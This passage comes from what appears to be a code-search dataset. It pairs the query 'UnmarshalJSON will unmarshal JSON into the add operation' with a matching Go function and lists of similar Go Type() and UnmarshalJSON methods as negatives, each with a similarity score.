*UnaryOperatorLen) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (op *ThreeDEnrollmentAssembly) GetOperationType() structures.OperationType {\\n\\treturn op.opHTTPData.GetOperationType()\\n}\",\n \"func (m *ToolMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (cmd Command) Type() string {\\n\\treturn cmd.MessageType\\n}\",\n \"func (p RProc) Type() Type { return p.Value().Type() }\",\n \"func (r *Rdispatch) Type() int8 {\\n\\treturn RdispatchTpe\\n}\",\n \"func (m *BinaryOperatorMod) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (op *ReportOverProductionOperation) Type() OpType {\\n\\treturn TypeReportOverProduction\\n}\",\n \"func (e *CustomExecutor) GetType() int {\\n\\treturn model.CommandTypeCustom\\n}\",\n \"func (m *BinaryOperatorAdd) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (n *NotRegexpOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (e *EqualOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (expr *ExprXor) Type() types.Type {\\n\\treturn expr.X.Type()\\n}\",\n \"func (op *ChargeDMSAssembly) GetOperationType() structures.OperationType {\\n\\treturn op.opHTTPData.GetOperationType()\\n}\",\n \"func (fn *Function) Type() ObjectType {\\n\\treturn ObjectTypeFunction\\n}\",\n \"func (m *UnaryOperatorNegate) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (fn NoArgFunc) Type() Type { return fn.SQLType }\",\n \"func (e *ExprXor) Type() types.Type {\\n\\treturn e.X.Type()\\n}\",\n \"func (m *BinaryOperatorDiv) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (f *FunctionLike) Type() string {\\n\\tif f.macro {\\n\\t\\treturn \\\"macro\\\"\\n\\t}\\n\\treturn \\\"function\\\"\\n}\",\n \"func (l *LessEqualOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (op *OpMove) Type() string {\\n\\treturn \\\"move\\\"\\n}\",\n \"func (execution *Execution) GetType() (execType string) {\\n\\tswitch strings.ToLower(execution.Type) {\\n\\tcase \\\"\\\":\\n\\t\\tfallthrough\\n\\tcase \\\"local\\\":\\n\\t\\texecType = \\\"local\\\"\\n\\tcase \\\"remote\\\":\\n\\t\\texecType = \\\"remote\\\"\\n\\tdefault:\\n\\t\\tpanic(execution)\\n\\t}\\n\\n\\treturn\\n}\",\n \"func (g *generator) customOperationType() error {\\n\\top := g.aux.customOp\\n\\tif op == nil {\\n\\t\\treturn nil\\n\\t}\\n\\topName := op.message.GetName()\\n\\n\\tptyp, err := g.customOpPointerType()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tp := g.printf\\n\\n\\tp(\\\"// %s represents a long running operation for this API.\\\", opName)\\n\\tp(\\\"type %s struct {\\\", opName)\\n\\tp(\\\" proto %s\\\", ptyp)\\n\\tp(\\\"}\\\")\\n\\tp(\\\"\\\")\\n\\tp(\\\"// Proto returns the raw type this wraps.\\\")\\n\\tp(\\\"func (o *%s) Proto() %s {\\\", opName, ptyp)\\n\\tp(\\\" return o.proto\\\")\\n\\tp(\\\"}\\\")\\n\\n\\treturn nil\\n}\",\n \"func (m *BinaryOperatorBitOr) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (i *InOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (m *TeamsAsyncOperation) GetOperationType()(*TeamsAsyncOperationType) {\\n return m.operationType\\n}\",\n \"func (obj *standard) Operation() Operation {\\n\\treturn obj.op\\n}\",\n \"func (f *Function) Type() ObjectType {\\n\\treturn FUNCTION\\n}\",\n \"func (r *Reconciler) Type() string {\\n\\treturn Type\\n}\",\n \"func (f *Filter) GetType() FilterOperator {\\n\\treturn f.operator\\n}\",\n \"func (m *SystemMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (f *Function) Type() ObjectType { return FUNCTION_OBJ }\",\n \"func (r ExecuteServiceRequest) Type() RequestType {\\n\\treturn Execute\\n}\",\n \"func (m *BinaryOperatorOr) Type() Type {\\n\\treturn BoolType{}\\n}\",\n \"func (l *LikeOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (myOperatingSystemType *OperatingSystemType) Type() (param string) {\\n\\treturn myOperatingSystemType.Typevar\\n}\",\n \"func (m *OrderproductMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (m *BinaryOperatorMult) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (p *createPlan) Type() string {\\n\\treturn \\\"CREATE\\\"\\n}\",\n \"func (m *CarserviceMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (m *CarCheckInOutMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (op *OpRetain) Type() string {\\n\\treturn \\\"retain\\\"\\n}\",\n \"func (m *OrderonlineMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (o *WorkflowCliCommandAllOf) GetType() string {\\n\\tif o == nil || o.Type == nil {\\n\\t\\tvar ret string\\n\\t\\treturn ret\\n\\t}\\n\\treturn *o.Type\\n}\",\n \"func (expr *ExprOr) Type() types.Type {\\n\\treturn expr.X.Type()\\n}\",\n \"func (Instr) Type() sql.Type { return sql.Int64 }\",\n \"func (m *TypeproductMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (n *NotLikeOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (this *ObjectUnwrap) Type() value.Type {\\n\\n\\t// this is the succinct version of the above...\\n\\treturn this.Operand().Type()\\n}\",\n \"func (m *FinancialMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (p *insertPlan) Type() string {\\n\\treturn \\\"INSERT\\\"\\n}\",\n \"func (m *ResourceMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (g *GreaterThanOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (typ OperationType) String() string {\\n\\tswitch typ {\\n\\tcase Query:\\n\\t\\treturn \\\"query\\\"\\n\\tcase Mutation:\\n\\t\\treturn \\\"mutation\\\"\\n\\tcase Subscription:\\n\\t\\treturn \\\"subscription\\\"\\n\\tdefault:\\n\\t\\treturn fmt.Sprintf(\\\"OperationType(%d)\\\", int(typ))\\n\\t}\\n}\",\n \"func (m *HexMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (b *BinaryExpr) Type(env ExpressionEnv) (querypb.Type, error) {\\n\\tltype, err := b.Left.Type(env)\\n\\tif err != nil {\\n\\t\\treturn 0, err\\n\\t}\\n\\trtype, err := b.Right.Type(env)\\n\\tif err != nil {\\n\\t\\treturn 0, err\\n\\t}\\n\\ttyp := mergeNumericalTypes(ltype, rtype)\\n\\treturn b.Op.Type(typ), nil\\n}\",\n \"func (m *ZoneproductMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (m *StockMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (o *Function) Type() *Type {\\n\\treturn FunctionType\\n}\",\n \"func (m *ManagerMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (l *LessThanOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func GetOperatorType() OperatorType {\\n\\tswitch {\\n\\tcase IsOperatorGo():\\n\\t\\treturn OperatorTypeGo\\n\\tcase IsOperatorAnsible():\\n\\t\\treturn OperatorTypeAnsible\\n\\tcase IsOperatorHelm():\\n\\t\\treturn OperatorTypeHelm\\n\\t}\\n\\treturn OperatorTypeUnknown\\n}\",\n \"func (e REnv) Type() Type { return e.Value().Type() }\",\n \"func (m *CompetenceMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (op *GenericOperation) Kind() uint8 {\\n\\t// Must be at least long enough to get the kind byte\\n\\tif len(op.hex) <= 33 {\\n\\t\\treturn opKindUnknown\\n\\t}\\n\\n\\treturn op.hex[33]\\n}\",\n \"func (c *Call) Type() Type {\\n\\treturn c.ExprType\\n}\",\n \"func (n *NullSafeEqualOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (m *Win32LobAppRegistryRule) GetOperationType()(*Win32LobAppRegistryRuleOperationType) {\\n return m.operationType\\n}\",\n \"func (m *PromotiontypeMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (m *BinaryOperatorSub) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (c *ComparisonExpr) Type(ExpressionEnv) (querypb.Type, error) {\\n\\treturn querypb.Type_INT32, nil\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.73397994","0.72103316","0.70835686","0.7061754","0.6980852","0.69322","0.68823165","0.6846249","0.684079","0.68392855","0.6821877","0.67526066","0.6746585","0.674267","0.6730284","0.67165416","0.6710324","0.66475177","0.66334957","0.6620575","0.6574164","0.6569285","0.6566755","0.6549322","0.6531823","0.65267223","0.6524067","0.6494353","0.6476448","0.6455802","0.64514893","0.64397943","0.64392865","0.64281154","0.6419435","0.6413713","0.63886774","0.63807184","0.6375125","0.6373742","0.63721126","0.63579583","0.63417757","0.6332697","0.6328391","0.6324545","0.631497","0.62952644","0.62910163","0.62861925","0.62844765","0.6274955","0.62650305","0.62640405","0.62523085","0.6252087","0.6239459","0.62389636","0.6229541","0.62033015","0.6200374","0.61991316","0.6193402","0.61895406","0.61791986","0.6175558","0.6175285","0.61724573","0.61557966","0.61456096","0.61413467","0.6141278","0.6140642","0.61386997","0.61329275","0.61257845","0.6124157","0.6117993","0.61164016","0.6114104","0.611341","0.6112936","0.6107847","0.6092411","0.6090323","0.6079666","0.6078997","0.607785","0.6074464","0.60626715","0.6057602","0.60575134","0.6047113","0.60389787","0.603745","0.60356474","0.60354406","0.6028229","0.60229194","0.6016492"],"string":"[\n \"0.73397994\",\n \"0.72103316\",\n \"0.70835686\",\n \"0.7061754\",\n \"0.6980852\",\n \"0.69322\",\n \"0.68823165\",\n \"0.6846249\",\n \"0.684079\",\n \"0.68392855\",\n \"0.6821877\",\n \"0.67526066\",\n \"0.6746585\",\n \"0.674267\",\n \"0.6730284\",\n \"0.67165416\",\n \"0.6710324\",\n \"0.66475177\",\n \"0.66334957\",\n \"0.6620575\",\n \"0.6574164\",\n \"0.6569285\",\n \"0.6566755\",\n \"0.6549322\",\n \"0.6531823\",\n \"0.65267223\",\n \"0.6524067\",\n \"0.6494353\",\n \"0.6476448\",\n \"0.6455802\",\n \"0.64514893\",\n \"0.64397943\",\n \"0.64392865\",\n \"0.64281154\",\n \"0.6419435\",\n \"0.6413713\",\n \"0.63886774\",\n \"0.63807184\",\n \"0.6375125\",\n \"0.6373742\",\n \"0.63721126\",\n \"0.63579583\",\n \"0.63417757\",\n \"0.6332697\",\n \"0.6328391\",\n \"0.6324545\",\n \"0.631497\",\n \"0.62952644\",\n \"0.62910163\",\n \"0.62861925\",\n \"0.62844765\",\n \"0.6274955\",\n \"0.62650305\",\n \"0.62640405\",\n \"0.62523085\",\n \"0.6252087\",\n \"0.6239459\",\n \"0.62389636\",\n \"0.6229541\",\n \"0.62033015\",\n \"0.6200374\",\n \"0.61991316\",\n \"0.6193402\",\n \"0.61895406\",\n \"0.61791986\",\n \"0.6175558\",\n \"0.6175285\",\n \"0.61724573\",\n \"0.61557966\",\n \"0.61456096\",\n \"0.61413467\",\n \"0.6141278\",\n \"0.6140642\",\n \"0.61386997\",\n \"0.61329275\",\n \"0.61257845\",\n \"0.6124157\",\n \"0.6117993\",\n \"0.61164016\",\n \"0.6114104\",\n \"0.611341\",\n \"0.6112936\",\n \"0.6107847\",\n \"0.6092411\",\n \"0.6090323\",\n \"0.6079666\",\n \"0.6078997\",\n \"0.607785\",\n \"0.6074464\",\n \"0.60626715\",\n \"0.6057602\",\n \"0.60575134\",\n \"0.6047113\",\n \"0.60389787\",\n \"0.603745\",\n \"0.60356474\",\n \"0.60354406\",\n \"0.6028229\",\n \"0.60229194\",\n \"0.6016492\"\n]"},"document_score":{"kind":"string","value":"0.7331954"},"document_rank":{"kind":"string","value":"1"}}},{"rowIdx":106168,"cells":{"query":{"kind":"string","value":"UnmarshalJSON will unmarshal JSON into the add operation"},"document":{"kind":"string","value":"func (op *OpAdd) UnmarshalJSON(raw []byte) error {\n\tvar addRaw opAddRaw\n\terr := json.Unmarshal(raw, &addRaw)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"decode OpAdd: %s\", err)\n\t}\n\n\treturn op.unmarshalFromOpAddRaw(addRaw)\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (v *ProductToAdd) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecodeBackendInternalModels1(&r, v)\n\treturn r.Error()\n}","func (a *AddRequest) UnmarshalJSON(b []byte) error {\n\tvar ar struct {\n\t\tBaseConfig BaseConfig\n\t\tGwConfig GwConfig\n\t}\n\tif err := json.Unmarshal(b, &ar); err != nil {\n\t\treturn err\n\t}\n\t*a = AddRequest(ar)\n\n\t// validate AddEventRequest DTO\n\tif err := a.Validate(); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (v *EventApplicationAdd) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk22(&r, v)\n\treturn r.Error()\n}","func (v *EventPipelineAdd) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk26(&r, v)\n\treturn r.Error()\n}","func (v *EventApplicationVariableAdd) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk5(&r, v)\n\treturn r.Error()\n}","func (v *EventApplicationRepositoryAdd) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk9(&r, v)\n\treturn r.Error()\n}","func (v *EventApplicationKeyAdd) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk20(&r, v)\n\treturn r.Error()\n}","func (v *EventApplicationPermissionAdd) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk17(&r, v)\n\treturn r.Error()\n}","func (v *EventPipelineStageAdd) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk5(&r, v)\n\treturn r.Error()\n}","func (j *WorkerCreateOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (v *EventPipelinePermissionAdd) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk13(&r, v)\n\treturn r.Error()\n}","func (v *EventPipelineParameterAdd) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk17(&r, v)\n\treturn r.Error()\n}","func (v *EventPipelineJobAdd) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk24(&r, v)\n\treturn r.Error()\n}","func (j *CreateNhAssetOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (a *BodyWithAddPropsJSONBody) UnmarshalJSON(b []byte) error {\n\tobject := make(map[string]json.RawMessage)\n\terr := json.Unmarshal(b, &object)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif raw, found := object[\"inner\"]; found {\n\t\terr = json.Unmarshal(raw, &a.Inner)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error reading 'inner': %w\", err)\n\t\t}\n\t\tdelete(object, \"inner\")\n\t}\n\n\tif raw, found := object[\"name\"]; found {\n\t\terr = json.Unmarshal(raw, &a.Name)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error reading 'name': %w\", err)\n\t\t}\n\t\tdelete(object, \"name\")\n\t}\n\n\tif len(object) != 0 {\n\t\ta.AdditionalProperties = make(map[string]interface{})\n\t\tfor fieldName, fieldBuf := range object {\n\t\t\tvar fieldVal interface{}\n\t\t\terr := json.Unmarshal(fieldBuf, &fieldVal)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"error unmarshaling field %s: %w\", fieldName, err)\n\t\t\t}\n\t\t\ta.AdditionalProperties[fieldName] = fieldVal\n\t\t}\n\t}\n\treturn nil\n}","func (a *BodyWithAddPropsJSONBody) UnmarshalJSON(b []byte) error {\n\tobject := make(map[string]json.RawMessage)\n\terr := json.Unmarshal(b, &object)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif raw, found := object[\"inner\"]; found {\n\t\terr = json.Unmarshal(raw, &a.Inner)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error reading 'inner': %w\", err)\n\t\t}\n\t\tdelete(object, \"inner\")\n\t}\n\n\tif raw, found := object[\"name\"]; found {\n\t\terr = json.Unmarshal(raw, &a.Name)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error reading 'name': %w\", err)\n\t\t}\n\t\tdelete(object, \"name\")\n\t}\n\n\tif len(object) != 0 {\n\t\ta.AdditionalProperties = make(map[string]interface{})\n\t\tfor fieldName, fieldBuf := range object {\n\t\t\tvar fieldVal interface{}\n\t\t\terr := json.Unmarshal(fieldBuf, &fieldVal)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"error unmarshaling field %s: %w\", fieldName, err)\n\t\t\t}\n\t\t\ta.AdditionalProperties[fieldName] = fieldVal\n\t\t}\n\t}\n\treturn nil\n}","func (w *Entry) UnmarshalJSON(bb []byte) error {\n\t<>\n}","func (v *ProductToAdd) UnmarshalEasyJSON(l *jlexer.Lexer) {\n\teasyjsonD2b7633eDecodeBackendInternalModels1(l, v)\n}","func (v *AddSymbolToWatchlistRequest) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson3e8ab7adDecodeGithubComAlpacahqAlpacaTradeApiGoV3Alpaca20(&r, v)\n\treturn r.Error()\n}","func (v *AddWeapon) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson6601e8cdDecodeGithubComGoParkMailRu2018242GameServerTypes3(&r, v)\n\treturn r.Error()\n}","func (a *BodyWithAddPropsJSONBody_Inner) UnmarshalJSON(b []byte) error {\n\tobject := make(map[string]json.RawMessage)\n\terr := json.Unmarshal(b, &object)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(object) != 0 {\n\t\ta.AdditionalProperties = make(map[string]int)\n\t\tfor fieldName, fieldBuf := range object {\n\t\t\tvar fieldVal int\n\t\t\terr := json.Unmarshal(fieldBuf, &fieldVal)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"error unmarshaling field %s: %w\", fieldName, err)\n\t\t\t}\n\t\t\ta.AdditionalProperties[fieldName] = fieldVal\n\t\t}\n\t}\n\treturn nil\n}","func (op *OpRemove) UnmarshalJSON(raw []byte) error {\n\treturn json.Unmarshal(raw, &op.Field)\n}","func (a *ActivityReferenceIDAdded) UnmarshalJSON(b []byte) error {\n\tvar helper activityReferenceIDAddedUnmarshalHelper\n\tif err := json.Unmarshal(b, &helper); err != nil {\n\t\treturn err\n\t}\n\t*a = ActivityReferenceIDAdded(helper.Attributes)\n\treturn nil\n}","func (v *OneUpdateLike) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\tdecodeOneUpdateLike(&r, v)\n\treturn r.Error()\n}","func (a *AddScriptToEvaluateOnNewDocumentArgs) UnmarshalJSON(b []byte) error {\n\ttype Copy AddScriptToEvaluateOnNewDocumentArgs\n\tc := &Copy{}\n\terr := json.Unmarshal(b, c)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*a = AddScriptToEvaluateOnNewDocumentArgs(*c)\n\treturn nil\n}","func (e *ExtraLayers) UnmarshalJSON(data []byte) error {\n\tvar a []string\n\tif err := json.Unmarshal(data, &a); err != nil {\n\t\treturn err\n\t}\n\treturn e.Parse(a...)\n}","func (as *AppStorage) ImportJSON(data []byte) error {\n\tapd := []appData{}\n\tif err := json.Unmarshal(data, &apd); err != nil {\n\t\tlog.Println(\"Error unmarshalling app data:\", err)\n\t\treturn err\n\t}\n\tfor _, a := range apd {\n\t\tif _, err := as.addNewApp(&AppData{appData: a}); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}","func (j *ProposalUpdateOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (a *TemplateApply_Secrets) UnmarshalJSON(b []byte) error {\n\tobject := make(map[string]json.RawMessage)\n\terr := json.Unmarshal(b, &object)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(object) != 0 {\n\t\ta.AdditionalProperties = make(map[string]string)\n\t\tfor fieldName, fieldBuf := range object {\n\t\t\tvar fieldVal string\n\t\t\terr := json.Unmarshal(fieldBuf, &fieldVal)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, fmt.Sprintf(\"error unmarshaling field %s\", fieldName))\n\t\t\t}\n\t\t\ta.AdditionalProperties[fieldName] = fieldVal\n\t\t}\n\t}\n\treturn nil\n}","func (t *Total) UnmarshalJSON(b []byte) error {\n\tvalue := struct {\n\t\tValue int `json:\"value\"`\n\t\tRelation string `json:\"relation\"`\n\t}{}\n\n\tif err := json.Unmarshal(b, &value); err == nil {\n\t\t*t = value\n\t\treturn nil\n\t}\n\n\t// fallback for Elasticsearch < 7\n\tif i, err := strconv.Atoi(string(b)); err == nil {\n\t\t*t = Total{Value: i, Relation: \"eq\"}\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(\"could not unmarshal JSON value '%s'\", string(b))\n}","func (s *Set) UnmarshalJSON(text []byte) error {\n\tvar items []string\n\tif err := json.Unmarshal(text, &items); err != nil {\n\t\treturn err\n\t}\n\ts.AppendSlice(items)\n\treturn nil\n}","func (this *Quantity) UnmarshalJSON(b []byte) error {\n\treturn CommonUnmarshaler.Unmarshal(bytes.NewReader(b), this)\n}","func (v *bulkUpdateRequestCommandOp) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson1ed00e60DecodeGithubComOlivereElasticV7(&r, v)\n\treturn r.Error()\n}","func (sfu *ServerForUpdate) UnmarshalJSON(body []byte) error {\n var m map[string]*json.RawMessage\n err := json.Unmarshal(body, &m)\n if err != nil {\n return err\n }\n for k, v := range m {\n switch k {\n case \"sku\":\n if v != nil {\n var sku Sku\n err = json.Unmarshal(*v, &sku)\n if err != nil {\n return err\n }\n sfu.Sku = &sku\n }\n case \"properties\":\n if v != nil {\n var serverPropertiesForUpdate ServerPropertiesForUpdate\n err = json.Unmarshal(*v, &serverPropertiesForUpdate)\n if err != nil {\n return err\n }\n sfu.ServerPropertiesForUpdate = &serverPropertiesForUpdate\n }\n case \"tags\":\n if v != nil {\n var tags map[string]*string\n err = json.Unmarshal(*v, &tags)\n if err != nil {\n return err\n }\n sfu.Tags = tags\n }\n }\n }\n\n return nil\n }","func (j *CreateQueueRequest) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (v *Ingredient) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecodeBackendInternalModels8(&r, v)\n\treturn r.Error()\n}","func (v *NewPost) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecodeGithubComDbProjectPkgModels12(&r, v)\n\treturn r.Error()\n}","func (a *AddScriptToEvaluateOnLoadArgs) UnmarshalJSON(b []byte) error {\n\ttype Copy AddScriptToEvaluateOnLoadArgs\n\tc := &Copy{}\n\terr := json.Unmarshal(b, c)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*a = AddScriptToEvaluateOnLoadArgs(*c)\n\treturn nil\n}","func (j *CommitteeMemberUpdateGlobalParametersOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (TagsAdded) Unmarshal(v []byte) (interface{}, error) {\n\te := TagsAdded{}\n\terr := json.Unmarshal(v, &e)\n\treturn e, err\n}","func (j *Json) UnmarshalJSON(data []byte) error {\n\terr := json.Unmarshal(data, &j.data)\n\n\tj.exists = (err == nil)\n\treturn err\n}","func (f *Feature) UnmarshalJSON(b []byte) error {\n\tif b[0] != '\"' || b[len(b)-1] != '\"' {\n\t\treturn errors.New(\"syntax error\")\n\t}\n\n\treturn f.UnmarshalText(b[1 : len(b)-1])\n}","func (m *Json) UnmarshalJSON(data []byte) error {\n\tif m == nil {\n\t\treturn faults.New(\"common.Json: UnmarshalJSON on nil pointer\")\n\t}\n\t*m = append((*m)[0:0], data...)\n\treturn nil\n}","func (v *FuturesBatchNewOrderItem) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson25363b2dDecodeGithubComDarkfoxs96OpenApiV3SdkOkexGoSdkApi104(&r, v)\n\treturn r.Error()\n}","func AddCustomer(w http.ResponseWriter, r *http.Request) {\n\n\tcustomer := model.Customer{}\n\tjson.Unmarshal(r.Body.Read(), &customer)\n\n}","func (a *ParamsWithAddPropsParams_P1) UnmarshalJSON(b []byte) error {\n\tobject := make(map[string]json.RawMessage)\n\terr := json.Unmarshal(b, &object)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(object) != 0 {\n\t\ta.AdditionalProperties = make(map[string]interface{})\n\t\tfor fieldName, fieldBuf := range object {\n\t\t\tvar fieldVal interface{}\n\t\t\terr := json.Unmarshal(fieldBuf, &fieldVal)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"error unmarshaling field %s: %w\", fieldName, err)\n\t\t\t}\n\t\t\ta.AdditionalProperties[fieldName] = fieldVal\n\t\t}\n\t}\n\treturn nil\n}","func (this *Service) UnmarshalJSON(b []byte) error {\n\treturn CommonUnmarshaler.Unmarshal(bytes.NewReader(b), this)\n}","func (obj *CartAddShippingMethodAction) UnmarshalJSON(data []byte) error {\n\ttype Alias CartAddShippingMethodAction\n\tif err := json.Unmarshal(data, (*Alias)(obj)); err != nil {\n\t\treturn err\n\t}\n\tif obj.ShippingRateInput != nil {\n\t\tvar err error\n\t\tobj.ShippingRateInput, err = mapDiscriminatorShippingRateInputDraft(obj.ShippingRateInput)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}","func (f *FeatureOperationsListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &f.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &f.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t\t}\n\t}\n\treturn nil\n}","func (v *OneLike) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\tdecodeOneLike(&r, v)\n\treturn r.Error()\n}","func (v *EventPipelineAdd) UnmarshalEasyJSON(l *jlexer.Lexer) {\n\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk26(l, v)\n}","func (t *TestLineUpdate) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"tags\":\n\t\t\terr = unpopulate(val, \"Tags\", &t.Tags)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t\t}\n\t}\n\treturn nil\n}","func (e *Extension) UnmarshalJSON(data []byte) error {\n\tif e == nil {\n\t\treturn errors.New(\"openrtb.Extension: UnmarshalJSON on nil pointer\")\n\t}\n\t*e = append((*e)[0:0], data...)\n\treturn nil\n}","func (j *Json) UnmarshalJSON(b []byte) error {\n\tr, err := loadContentWithOptions(b, Options{\n\t\tType: ContentTypeJson,\n\t\tStrNumber: true,\n\t})\n\tif r != nil {\n\t\t// Value copy.\n\t\t*j = *r\n\t}\n\treturn err\n}","func (v *AddScriptToEvaluateOnNewDocumentReturns) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: 